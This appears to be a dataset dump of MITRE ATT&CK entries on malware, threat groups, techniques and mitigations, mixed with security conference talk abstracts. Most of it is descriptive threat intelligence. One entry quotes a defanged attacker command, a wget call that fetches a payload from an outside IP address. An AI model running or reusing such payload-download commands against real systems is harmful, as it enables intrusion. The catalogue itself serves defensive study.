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ATT&CK ID:S0165
ATT&CK Technique Name:OSInfo
OSInfo queries the registry to look for information about Terminal Services.[65] | secon |
title:botconf2018 Stagecraft of Malicious Office Documents – A Look at Recent Campaigns
Malicious office documents have become a favorite malware delivery tool for malware authors. We have observed an increase in use of malicious documents over past 4 years. 30% of the malware blocked by Zscaler Cloud Sandbox since 201... | secon |
ATT&CK ID:M1056
ATT&CK Technique Name:Pre-compromise
This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. | secon |
ATT&CK ID:M1022
ATT&CK Technique Name:Restrict File and Directory Permissions
Restrict write access to logon scripts to specific administrators. | secon |
titleblackhat:eu-22 Android Parcels: The Bad, the Good and the Better - Introducing Android's Safer Parcel
Parcel is the serialization mechanism in Android and is behind almost every OS cross-process interaction. Parcelable implementations have been the source of vulnerabilities in Android for ~8 years, often rated... | secon |
ATT&CK ID:M1038
ATT&CK Technique Name:Execution Prevention
Identify and block potentially malicious unmanaged COR_PROFILER profiling DLLs by using application control solutions like AppLocker that are capable of auditing and/or blocking unapproved DLLs.[9][10][11] | secon |
ATT&CK ID:S1039
ATT&CK Technique Name:Bumblebee
Bumblebee can send collected data in JSON format to C2.[19] | secon |
ATT&CK ID:S0529
ATT&CK Technique Name:CarbonSteal
CarbonSteal has seen native libraries used in some reported samples [5] | secon |
ATT&CK ID:G0068
ATT&CK Technique Name:PLATINUM
PLATINUM has transferred files using the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel.[345] | secon |
ATT&CK ID:S0655
ATT&CK Technique Name:BusyGasper
BusyGasper can abuse existing root access to copy components into the system partition.[2] | secon |
ATT&CK ID:S0422
ATT&CK Technique Name:Anubis
Anubis can create overlays to capture user credentials for targeted applications.[11] | secon |
ATT&CK ID:G0103
ATT&CK Technique Name:Mofang
Mofang has compressed the ShimRat executable within malicious email attachments. Mofang has also encrypted payloads before they are downloaded to victims.[216] | secon |
ATT&CK ID:G0096
ATT&CK Technique Name:APT41
APT41 has enumerated IP addresses of network resources and used the netstat command as part of network reconnaissance. The group has also used a malware variant, HIGHNOON, to enumerate active RDP sessions.[13][14] | secon |
ATT&CK ID:S0118
ATT&CK Technique Name:Nidiran
Nidiran can create a new service named msamger (Microsoft Security Accounts Manager).[82] | secon |
ATT&CK ID:M1042
ATT&CK Technique Name:Disable or Remove Feature or Program
MSBuild.exe may not be necessary within an environment and should be removed if not being used. | secon |
ATT&CK ID:M1017
ATT&CK Technique Name:User Training
Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts. | secon |
ATT&CK ID:S0406
ATT&CK Technique Name:Gustuff
Gustuff gathers the device IMEI to send to the command and control server.[17] | secon |
ATT&CK ID:M0945
ATT&CK Technique Name:Code Signing
Utilize code signatures to verify the integrity of the installed program on safety or control assets has not been changed. | secon |
ATT&CK ID:S1063
ATT&CK Technique Name:Brute Ratel C4
Brute Ratel C4 has loaded a malicious DLL by spoofing the name of the legitimate Version.DLL and placing it in the same folder as the digitally-signed Microsoft binary OneDriveUpdater.exe.[14] | secon |
ATT&CK ID:S1053
ATT&CK Technique Name:AvosLocker
AvosLocker has hidden its console window by using the ShowWindow API function.[11] | secon |
title:blackhat:us-19 Debug for Bug: Crack and Hack Apple Core by Itself - Fun and Profit to Debug and Fuzz Apple Kernel by lldb Script
As we know for security researchers, almost every operation system vendor has highly raised the bar of security vulnerability credit or bonus criteria and lots of security mitigations s... | secon |
ATT&CK ID:T1586.003
ATT&CK Technique Name:Cloud Accounts
Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for Exfiltr... | secon |
ATT&CK ID:G0115
ATT&CK Technique Name:GOLD SOUTHFIELD
GOLD SOUTHFIELD has used the remote monitoring and management tool ConnectWise to obtain screen captures from victim's machines.[69] | secon |
ATT&CK ID:S0261
ATT&CK Technique Name:Catchamas
Catchamas adds a new service named NetAdapter to establish persistence.[32] | secon |
ATT&CK ID:T1574.010
ATT&CK Technique Name:Services File Permissions Weakness
Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processe... | secon |
ATT&CK ID:S1054
ATT&CK Technique Name:Drinik
Drinik can record the screen via the MediaProjection library to harvest user credentials, including biometric PINs.[9] | secon |
ATT&CK ID:S0164
ATT&CK Technique Name:TDTESS
TDTESS creates then deletes log files during installation of itself as a service.[235] | secon |
titleblackhat:us-19 Monsters in the Middleboxes: Building Tools for Detecting HTTPS Interception
The practice of HTTPS interception continues to be commonplace on the Internet. In a basic HTTPS connection, a browser (client) establishes a TLS connection directly to an origin server to send requests and download content... | secon |
ATT&CK ID:G0076
ATT&CK Technique Name:Thrip
Thrip leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance.[229] | secon |
ATT&CK ID:S0456
ATT&CK Technique Name:Aria-body
Aria-body has the ability to identify the hostname, computer name, Windows version, processor speed, machine GUID, and disk information on a compromised host.[32] | secon |
ATT&CK ID:G1007
ATT&CK Technique Name:Aoqin Dragon
Aoqin Dragon has run scripts to identify file formats including Microsoft Word.[9] | secon |
ATT&CK ID:S0466
ATT&CK Technique Name:WindTail
WindTail has the ability to generate the current date and time.[81] | secon |
ATT&CK ID:C0024
ATT&CK Technique Name:SolarWinds Compromise
During the SolarWinds Compromise, APT29 exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.[3] | secon |
ATT&CK ID:S0477
ATT&CK Technique Name:Goopy
Goopy has the ability to maintain persistence by creating scheduled tasks set to run every hour.[13] | secon |
ATT&CK ID:G0078
ATT&CK Technique Name:Gorgon Group
Gorgon Group has used macros in Spearphishing Attachments as well as executed VBScripts on victim machines.[61] | secon |
ATT&CK ID:G0087
ATT&CK Technique Name:APT39
APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious attachment.[28][29][30][31] | secon |
ATT&CK ID:G0081
ATT&CK Technique Name:Tropic Trooper
Tropic Trooper has used a copy function to automatically exfiltrate sensitive data from air-gapped systems using USB storage.[20] | secon |
ATT&CK ID:S0496
ATT&CK Technique Name:REvil
REvil can obtain the token from the user that launched the explorer.exe process to avoid affecting the desktop of the SYSTEM user.[11] | secon |
ATT&CK ID:S0503
ATT&CK Technique Name:FrameworkPOS
FrameworkPOS can enumerate and exclude selected processes on a compromised host to speed execution of memory scraping.[106] | secon |
ATT&CK ID:S0369
ATT&CK Technique Name:CoinTicker
CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.[11] | secon |
ATT&CK ID:G0040
ATT&CK Technique Name:Patchwork
A Patchwork payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.[30] | secon |
title:blackhat:us-19 PeriScope: An Effective Probing and Fuzzing Framework for the Hardware-OS Boundary
The OS kernel is an attractive target for remote attackers. If compromised, the kernel gives adversaries full system access, including the ability to install rootkits, extract sensitive information, and perform other... | secon |
ATT&CK ID:G0108
ATT&CK Technique Name:Blue Mockingbird
Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using regsvr32.exe.[11] | secon |
ATT&CK ID:S0260
ATT&CK Technique Name:InvisiMole
InvisiMole has used scheduled tasks named MSST and \Microsoft\Windows\Autochk\Scheduled to establish persistence.[84] | secon |
ATT&CK ID:S0340
ATT&CK Technique Name:Octopus
Octopus has relied upon users clicking on a malicious attachment delivered through spearphishing.[170] | secon |
ATT&CK ID:S0135
ATT&CK Technique Name:HIDEDRV
HIDEDRV injects a DLL for Downdelph into the explorer.exe process.[35] | secon |
ATT&CK ID:S0148
ATT&CK Technique Name:RTM
RTM can obtain a list of smart card readers attached to the victim.[40][41] | secon |
ATT&CK ID:G0126
ATT&CK Technique Name:Higaisa
Higaisa added a spoofed binary to the start-up folder for persistence.[117][118] | secon |
ATT&CK ID:S0666
ATT&CK Technique Name:Gelsemium
Gelsemium can open random files and Registry keys to obscure malware behavior from sandbox analysis.[45] | secon |
ATT&CK ID:S0603
ATT&CK Technique Name:Stuxnet
Stuxnet manipulates the view of operators replaying process input and manipulating the I/O image to evade detection and inhibit protection functions. [5] [6] | secon |
ATT&CK ID:G0100
ATT&CK Technique Name:Inception
Inception used a file listing plugin to collect information about file and directories both on local and remote drives.[150] | secon |
ATT&CK ID:S0181
ATT&CK Technique Name:FALLCHILL
FALLCHILL has been installed as a Windows service.[8] | secon |
ATT&CK ID:G0034
ATT&CK Technique Name:Sandworm Team
Sandworm Team researched Ukraine's unique legal entity identifier (called an "EDRPOU" number), including running queries on the EDRPOU website, in preparation for the NotPetya attack. Sandworm Team has also researched third-party websites to help it craft credible spe... | secon |
ATT&CK ID:G0037
ATT&CK Technique Name:FIN6
FIN6 has used Metasploit Bind and Reverse TCP stagers.[25] | secon |
ATT&CK ID:S0570
ATT&CK Technique Name:BitPaymer
BitPaymer has copied itself to the :bin alternate data stream of a newly created file.[10] | secon |
ATT&CK ID:M1026
ATT&CK Technique Name:Privileged Account Management
Do not allow remote access to services as a privileged account unless necessary. | secon |
ATT&CK ID:M0926
ATT&CK Technique Name:Privileged Account Management
Audit domain and local accounts and their permission levels routinely to look for situations that could allow an adversary to gain system wide access with stolen privileged account credentials. [11] [12]These audits should also identify if default acco... | secon |
ATT&CK ID:C0002
ATT&CK Technique Name:Night Dragon
During Night Dragon, threat actors used password cracking and pass-the-hash tools to discover usernames and passwords.[128] | secon |
title:blackhat:us-20 Breaking Brains, Solving Problems: Lessons Learned from Two Years of Setting Puzzles and Riddles for InfoSec Professionals
Many of us got into security because we like solving hard problems, and problem-solving is often listed as a specific requirement in security job descriptions. You might need p... | secon |
ATT&CK ID:S0567
ATT&CK Technique Name:Dtrack
Dtrack’s RAT makes a persistent target file with auto execution on the host start.[7] | secon |
ATT&CK ID:S0457
ATT&CK Technique Name:Netwalker
Operators deploying Netwalker have used psexec and certutil to retrieve the Netwalker payload.[38] | secon |
ATT&CK ID:S0363
ATT&CK Technique Name:Empire
Empire can utilize built-in modules to modify service binaries and restore them to their original state.[50] | secon |
ATT&CK ID:S1048
ATT&CK Technique Name:macOS.OSAMiner
macOS.OSAMiner has embedded Stripped Payloads within another run-only Stripped Payloads.[5] | secon |
ATT&CK ID:S0674
ATT&CK Technique Name:CharmPower
CharmPower can use HTTP to communicate with C2.[59] | secon |
ATT&CK ID:G0064
ATT&CK Technique Name:APT33
APT33 has used compromised Office 365 accounts in tandem with Ruler in an attempt to gain control of endpoints.[6] | secon |
title:blackhat:asia-20 Wi-Fi Brokering
The common perception of 802.1X WiFi networks using tunneled authentication methods such as PEAP, are that they offer good enough security. Attacks introduced in 2004 by Joshua Wright and Brad Antoniewicz allow the inner MSCHAPv2 challenge/response to be captured, and cracked offl... | secon |
ATT&CK ID:C0017
ATT&CK Technique Name:C0017
During C0017, APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads.[51] | secon |
ATT&CK ID:S0412
ATT&CK Technique Name:ZxShell
ZxShell has a feature to perform SYN flood attack on a host.[8][9] | secon |
ATT&CK ID:T0887
ATT&CK Technique Name:Wireless Sniffing
Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and f... | secon |
ATT&CK ID:S0192
ATT&CK Technique Name:Pupy
Pupy has a module for loading and executing PowerShell scripts.[191] | secon |
ATT&CK ID:T1133
ATT&CK Technique Name:External Remote Services
Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external loc... | secon |
title:blackhat:asia-19 Office in Wonderland
In this talk we will explore a wide range of novel techniques that abuse Microsoft Office features for offensive purposes. We will disclose details on new Word and Excel vulnerabilities, release attack vectors that Microsoft deemed features and demonstrate the security impact... | secon |
ATT&CK ID:G0087
ATT&CK Technique Name:APT39
APT39 has used WinRAR and 7-Zip to compress an archive stolen data.[10] | secon |
ATT&CK ID:G0093
ATT&CK Technique Name:GALLIUM
GALLIUM leveraged valid accounts to maintain access to a victim network.[35] | secon |
ATT&CK ID:S0667
ATT&CK Technique Name:Chrommme
Chrommme can use Windows API including WinExec for execution.[53] | secon |
ATT&CK ID:C0022
ATT&CK Technique Name:Operation Dream Job
During Operation Dream Job, Lazarus Group archived victim's data into a RAR file.[55] | secon |
ATT&CK ID:S0185
ATT&CK Technique Name:SEASHARPEE
SEASHARPEE can download remote files onto victims.[399] | secon |
ATT&CK ID:G0065
ATT&CK Technique Name:Leviathan
Leviathan has utilized techniques like reflective DLL loading to write a DLL into memory and load a shell that provides backdoor access to the victim.[41] | secon |
ATT&CK ID:G0051
ATT&CK Technique Name:FIN10
FIN10 has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.[57][55] | secon |
ATT&CK ID:S0630
ATT&CK Technique Name:Nebulae
Nebulae can enumerate processes on a target system.[180] | secon |
title:blackhat:us-22 Ret2page: The Art of Exploiting Use-After-Free Vulnerabilities in the Dedicated Cache
Heap isolation is effective mitigation that reduces the exploitability of certain types of vulnerabilities, especially Use-After-Free. In the Android/Linux kernel, A Use-After-Free vulnerability in a dedicated cac... | secon |
ATT&CK ID:S0637
ATT&CK Technique Name:NativeZone
NativeZone has checked if Vmware or VirtualBox VM is running on a compromised host.[32] | secon |
ATT&CK ID:G0066
ATT&CK Technique Name:Elderwood
Elderwood has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.[45] | secon |
ATT&CK ID:S0401
ATT&CK Technique Name:Exaramel for Linux
Exaramel for Linux uses RC4 for encrypting the configuration.[118][119] | secon |
ATT&CK ID:S0327
ATT&CK Technique Name:Skygofree
Skygofree can be controlled via HTTP, XMPP, FirebaseCloudMessaging, or GoogleCloudMessaging in older versions.[28] | secon |
ATT&CK ID:S0594
ATT&CK Technique Name:Out1
Out1 can copy files and Registry data from compromised hosts.[133] | secon |
ATT&CK ID:S1066
ATT&CK Technique Name:DarkTortilla
DarkTortilla can decrypt its payload and associated configuration elements using the Rijndael cipher.[70] | secon |
ATT&CK ID:S0658
ATT&CK Technique Name:XCSSET
XCSSET uses the plutil command to modify the LSUIElement, DFBundleDisplayName, and CFBundleIdentifier keys in the /Contents/Info.plist file to change how XCSSET is visible on the system.[4] | secon |
ATT&CK ID:M1018
ATT&CK Technique Name:User Account Management
Limit remote user permissions if remote access is necessary. | secon |
ATT&CK ID:S0455
ATT&CK Technique Name:Metamorfo
Metamorfo has disguised an MSI file as the Adobe Acrobat Reader Installer and has masqueraded payloads as OneDrive, WhatsApp, or Spotify, for example.[98][99] | secon |
ATT&CK ID:S1066
ATT&CK Technique Name:DarkTortilla
DarkTortilla can download a keylogging module.[51] | secon |
ATT&CK ID:S1061
ATT&CK Technique Name:AbstractEmu
AbstractEmu can collect files from or inspect the device’s filesystem.[1] | secon |
ATT&CK ID:S0363
ATT&CK Technique Name:Empire
Empire contains modules that can discover and exploit various DLL hijacking opportunities.[18] | secon |
ATT&CK ID:G0082
ATT&CK Technique Name:APT38
APT38 uses a tool called CLEANTOAD that has the capability to modify Registry keys.[12] | secon |
titleblackhat:eu-21 "We Wait, Because We Know You" - Inside the Ransomware Negotiation Economics
Organizations worldwide continue to face waves of digital extortion in the form of targeted ransomware. Digital extortion is therefore now classified as the most prominent form of cybercrime and the most devastating... | secon |
ATT&CK ID:S0063
ATT&CK Technique Name:SHOTPUT
SHOTPUT uses netstat to list TCP connection status.[78] | secon |
ATT&CK ID:M0800
ATT&CK Technique Name:Authorization Enforcement
Provide privileges corresponding to the restriction of a GUI session to control system operations (examples include HMI read-only vs. read-write modes). Ensure local users, such as operators and engineers, are giving prioritization over remote sessions and... | secon |
ATT&CK ID:S0265
ATT&CK Technique Name:Kazuar
Kazuar has used compromised WordPress blogs as C2 servers.[31] | secon |
ATT&CK ID:M1042
ATT&CK Technique Name:Disable or Remove Feature or Program
Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. [8][9][10] Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel... | secon |
ATT&CK ID:S0141
ATT&CK Technique Name:Winnti for Windows
The Winnti for Windows dropper component can verify the existence of a single command line parameter and either terminate if it is not found or later use it as a decryption key.[13] | secon |
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.